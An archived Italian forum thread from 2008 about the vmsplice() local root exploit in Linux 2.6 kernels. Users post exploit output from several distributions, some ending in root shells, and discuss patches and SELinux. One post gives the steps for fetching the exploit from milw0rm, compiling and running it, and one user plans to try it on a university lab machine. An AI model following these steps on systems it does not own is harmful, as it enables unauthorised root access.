View Full Version : [CRITICO] Scoperta vulnerabilità locale in Linux 2.6
Scusate, il tag ma come news non è da prendere sottogamba.
Nei kernel distribuiti da Debian ed Ubuntu è stata individuata e confermata una vulnerabilità che garantisce ad un utente locale la possibilità di diventare root, eseguendo semplicemente questo exploit; la falla di sicurezza è stata individuata nell’errato comportamento della system call vmsplice() e, sebbene al momento il bug sia stato confermato solo in Debian ed Ubuntu, è probabile che esso sia presente nella gran parte delle distribuzioni.
Sul bug tracker di Debian è già disponibile un workaround che rende inutilizzabile l’exploit.
workaround:
http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
fonte: ossblog.it
Io ho Sid, e l'exploit era possibile eseguirlo.
Ho applicato il workaround ed è tornato tutto normale.
Per adesso si sa che funziona su Debian e Ubuntu, non è detto che anche tutte le altre siano vulnerabili.
Su Debian l'ho provato e funziona:
$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7e38000 .. 0xb7e6a000
[+] root
#
Su Fedora8 invece no:
$ ./a.out
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7fa5000 .. 0xb7fd7000
[-] wtf
$
eclissi83
11-02-2008, 11:44
la soluzione e' ricompilare:
http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.24.2
il codice postato prima pare (non sono un coder, di c capisco poco) che corrompa le pagine di memoria...
ah, ovviamente sto bug ha gia' fatto bei danni :P
ciao
Su Fedora8 invece no:
Disabilitando SELinux, anche Fedora è vulnerabile:
[gianluca@dyane6 ~]$ uname -r
2.6.23.14-115.fc8
[gianluca@dyane6 ~]$ ./bug-linux
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fae000 .. 0xb7fe0000
[+] root
[root@dyane6 ~]#
:(
eclissi83
11-02-2008, 16:41
Disabilitando SELinux, anche Fedora è vulnerabile:
beh era comprensibile dai... :D
Ho appena aggiornato Debian Etch, che ora non è più vulnerabile :)
Più veloci della luce :cool:
Nemmeno sid:
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b0fcf23a000 .. 0x2b0fcf26c000
Killed
manowar84
12-02-2008, 12:25
2.6.23.1 su arch:
[paolo@Arch-Linux Downloads]$ ./disable-vmsplice-if-exploitable.c
bash: ./disable-vmsplice-if-exploitable.c: Permission denied
[paolo@Arch-Linux Downloads]$
non sono vulnerabile quindi?
2.6.23.1 su arch:
non sono vulnerabile quindi?
eh no... magari...
Devi fare cosi: apri questa pagina http://www.milw0rm.com/exploits/5092 e salva il contenuto nel file exploit.c, poi esegui da utente normale:
gcc exploit.c -o exploit && ./exploit
se sei vulnerabile ti ritrovi un una shell di root!:eek:
manowar84
12-02-2008, 12:37
arg ieri ho aggiornato a .24 quindi non sono vulnerabile, lo volevo provare doh!
[paolo@Arch-Linux ~]$ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e24000 .. 0xb7e56000
[-] vmsplice: Bad address
[paolo@Arch-Linux ~]$
vabbè cmq ottimo, lo provo al laboratorio all'università che c'è la sarge :D
edit: no asp, io ho 24.1 quindi dovrei essere vulnerabile! e allora arch powaaa!
vabbè cmq ottimo, lo provo al laboratorio all'università che c'è la sarge :D
va che ti sgamano subito :D
edit: no asp, io ho 24.1 quindi dovrei essere vulnerabile! e allora arch powaaa!
http://www.securityfocus.com/bid/27704/info
Anche il 2.6.24.1 non è vulnerabile, sara per quello:
Not Vulnerable: Linux kernel 2.6.24.1
manowar84
12-02-2008, 12:44
va che ti sgamano subito :D
http://www.securityfocus.com/bid/27704/info
Anche il 2.6.24.1 non è vulnerabile, sara per quello:
Not Vulnerable: Linux kernel 2.6.24.1
aho ma mi smonti sempre ahuahuahuahu!!! :asd:
ok grazie per la info :D
red.hell
12-02-2008, 13:01
rosso@localhost ~ $ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] !@#$
rosso@localhost ~ $ uname -a
Linux localhost 2.6.22-sabayon #2 SMP Sun Oct 7 14:20:14 UTC 2007 i686 Unknown CPU Typ AuthenticAMD GNU/Linux
rosso@localhost ~ $
pare che sulla Sabayon 3.4f il problema non ci sia, anche se non capisco perchè si pianta subito...
rosso@localhost ~ $ gcc exploit.c -o exploit && ./exploit
exploit.c:289:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] !@#$
rosso@localhost ~ $ uname -a
Linux localhost 2.6.22-sabayon #2 SMP Sun Oct 7 14:20:14 UTC 2007 i686 Unknown CPU Typ AuthenticAMD GNU/Linux
rosso@localhost ~ $
pare che sulla Sabayon 3.4f il problema non ci sia, anche se non capisco perchè si pianta subito...
E qua che si ferma, quasi all'inizio:
if (!uid || !gid)
die("!@#$", 0);
Se uno dei due tra uid o gid è 0, cioe root, allora esce.
E strano perche vedo che l'hai eseguito con un utente normale, prova a guardare col comando id su che gruppi sei inserito.
red.hell
12-02-2008, 16:22
E qua che si ferma, quasi all'inizio:
if (!uid || !gid)
die("!@#$", 0);
Se uno dei due tra uid o gid è 0, cioe root, allora esce.
E strano perche vedo che l'hai eseguito con un utente normale, prova a guardare col comando id su che gruppi sei inserito.
rosso@localhost ~ $ id
uid=1000(rosso) gid=0(root) gruppi=0(root),6(disk),10(wheel),11(floppy),14(uucp),18(audio),19(cdrom),20(dialout),27(video),35(games),80(cdrw),85(usb),100(users),250(portage),409(clamav),410(messagebus),411(haldaemon),441(scanner),442(plugdev),443(qemu),1008(kvm),1009(vboxusers)
rosso@localhost ~ $
sono in root... e si che nell'installare saba mi ero messo tra gli utenti standard e i comandi che vanno dati da root (ifconfig, modprobe solo per citarne un paio) non li eseguo (command not found)
EDIT: questo invece con fedora 8 64bit sul portatile SElinux disattivato (in quanto non ho ben capito a cosa serva... :stordita:)
bash-3.2$ gcc exploit.c -o exploit && ./exploit
exploit.c:290:28: warning: no newline at end of file
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2aaaaaad9000 .. 0x2aaaaab0b000
[+] root
bash-3.2# uname -a
Linux portatilerosso 2.6.23.14-115.fc8 #1 SMP Mon Jan 21 14:22:56 EST 2008 x86_64 x86_64 x86_64 GNU/Linux
bash-3.2#
eclissi83
12-02-2008, 17:04
EDIT: questo invece con fedora 8 64bit sul portatile SElinux disattivato (in quanto non ho ben capito a cosa serva... :stordita:)
credo che tu ora in parte l'abbia capito... :D
sono in root... e si che nell'installare saba mi ero messo tra gli utenti standard e i comandi che vanno dati da root (ifconfig, modprobe solo per citarne un paio) non li eseguo (command not found)
E molto strano che ti abbia messo da solo in quel gruppo. Per provare l'exploit dovresti metterti un gid diverso, users dovrebbe andare bene, e forse è anche meglio.
anche per fedora comunque è uscito il nuovo kernel patchato.
a me da questo output:
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dc6000 .. 0xb7df8000
[-] vmsplice: Bad address
cavolo conosco il C, ma di questo codice (http://www.milw0rm.com/exploits/5092) ci ho capito ben poco!! :muro:
darkbasic
12-02-2008, 17:39
Ci credo, praticamente sono assembly e system call :D
Lungi dall'averci capito qualcosa è :p
[server 4] /storage > whoami
originalp
[19:08 - 0.10]
[server 5] /storage > ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
This is BASH 3.1 - DISPLAY on :0.0
mar feb 12 19:08:52 CET 2008
Mai dire: "Non so come farlo".
Meglio dire: "Non ci ho mai provato".
-- Proverbio giapponese
[19:08 - 0.00]
[server 1] /storage > whoami
root :stordita:
[19:09 - 0.00]
[server 2] /storage > uname -a
Linux server 2.6.24 #1 Fri Jan 25 15:50:37 CET 2008 i686 GNU/Linux
[19:09 - 0.00]
[server 3] /storage > exit
exit
Hasta la vista, baby
[19:10 - 0.10]
funge! (Debian testing)
lasciate perdere le frasi che non centrano :D
khelidan1980
12-02-2008, 20:09
Su fedora 8 lo lanciato più volte ed una ha funzionato,una soltanto....
Comunque su selinux hanno fatto un lavoro colossale di adattamento ad un desktop.....
jventure
12-02-2008, 22:17
solo a me non compila ???
sarà l'ora tarda :D o che sul server dove cerco di compilare non ho tutte le librerie del compilatore :D
mah domani provo meglio
Dcromato
13-02-2008, 00:46
E molto strano che ti abbia messo da solo in quel gruppo. Per provare l'exploit dovresti metterti un gid diverso, users dovrebbe andare bene, e forse è anche meglio.
anche per fedora comunque è uscito il nuovo kernel patchato.
Sabayon infila l'utente in root
eclissi83
13-02-2008, 12:59
Sabayon infila l'utente in root
non so quanto felice sia come soluzione... contenti loro...
red.hell
13-02-2008, 20:11
non so quanto felice sia come soluzione... contenti loro...
infatti ho diffuso la notizia sul forum di sabayon-mania...
comunque su Fedora 8 (come già anticipato da arara) con l'ultimo kernel (2.6.23.15-135 se non ricordo male) hanno risolto
vBulletin® v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.